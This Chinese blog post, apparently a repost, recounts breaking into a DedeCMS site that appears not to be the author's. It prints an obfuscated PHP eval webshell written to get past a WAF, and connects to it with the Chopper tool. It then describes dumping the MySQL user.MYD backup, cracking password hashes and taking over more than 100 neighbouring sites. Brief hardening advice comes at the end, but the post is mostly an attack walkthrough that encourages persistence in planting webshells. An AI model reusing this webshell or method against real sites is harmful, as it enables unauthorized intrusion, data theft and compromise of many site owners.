一次特别的DedeCMS拿站经历

 一系列故事的开端:

这是搜到的一个Dede站点的后台

路径为/dede

 获得到该站点的用户名以及密码后(这里不具体说明),输入用户名和密码之后就进入了后台,并且下意识的打开了文件管理器

不过管理员也不是等闲之辈,早已卸载该模块

于是,我找到了另一处可以生成PHP文件的地方

在”标签源码管理“这里可以创建PHP脚本文件

去掉默认的代码,写入eval代码,点击保存,文件会存放在 /include/taglib 目录下

注:由于服务器有WAF,PHP脚本进行了简单的混淆

<?php
$a='b';
$b=$_POST['x'];
eval($$a);
?>

于是菜刀连接之:

刚开始看到其他站点目录无权限时,并没有想到能够进行旁注

由于管理员权限设置不当,mysql数据库的一个备份副本有权限读取,于是下载了user.MYD

用记事本打开,发现除了root的密码cmd5解不出来,剩下的数据库用户的密码都能在cmd5上获取到原文(这里要鼓励一下站长大大,没有为root用户设置过弱的密码,不然这个服务器就能被提权了)

对于提权呢,在这里说一句,由于该服务器的IIS用户为低权限用户,并且系统补丁修补的也很完全,PHP配置上也进行了降权处理,因此暂时无法威胁到服务器的安全。

然而,旁站所有数据库账号(100多个)的泄露则可以轻易的拿下旁站,在这里就不详细说明了,大致思路基本上就是用webshell连接mysql数据库,寻找类似config、admin、manager、siteconfig这样的表,获取到站点的域名、标题等等的信息以便找到该站点,并且获取后台管理员的账号以及密码,从而登录后台,最后拿到webshell。

同理,在另一个目录中,我也找到了MSSQL2005的数据库备份文件,这里就不进行详细的说明了

案例分析:

这个服务器的管理员的做法并不是完全要被否定的,虽然那个DedeCMS被轻易的拿下了,但是在服务器安全方面也进行了一定程度上的强化。刚拿到webshell的时候,发现对于其他站点没有读写权限,可能很多人到这一步就会放弃尝试旁注,但是如果仔细分析服务器环境,可能能得到意外惊喜。旁注得以实现的原因,在于Windows Server 2008 R2服务器的磁盘分区在被格式化后,磁盘分区的根目录默认有一个Users的读取、写入以及修改的权限,通过文件权限的继承,E盘分区下的所有文件对于Users都具有了读取权限,对于大多数人来说,自然会认为数据盘分区的权限并不会影响到站点的安全,可能并不会去重视此处的权限。然而,数据盘中备份的数据却将所有站点的Mysql数据库密码出卖给了别人。


小结:

  1. 对于使用DedeCMS的站长们来说,建议修改DedeCMS后台的路径,限制站点的可执行权限以及可写入权限。

  2. 拿DedeCMS站点时,发现管理员对站点做一定限制时不要灰心,因为DedeCMS可写入webshell的地方还是很多的,只要耐心,往往都能拿到webshell

  3. 在做服务器安全强化时,不要忽视数据盘权限带来的隐患,从小处来说,可能会泄露服务器使用的软件、运行环境,从大危害的方面来说,可能造成数据库密码泄露、FTP密码泄露、旁注等问题,严重的话,还有可能服务器被提权(在这个案例中,如果管理员设置的root密码比较简单,下载user.MYD时获取到的密文就可以解密,从而得到root账号的密码,进而利用root高权限账号提权该服务器)。

更多内容,关注昔年互联网安全比赛网站


猜你喜欢

转载自blog.51cto.com/7957017/2149408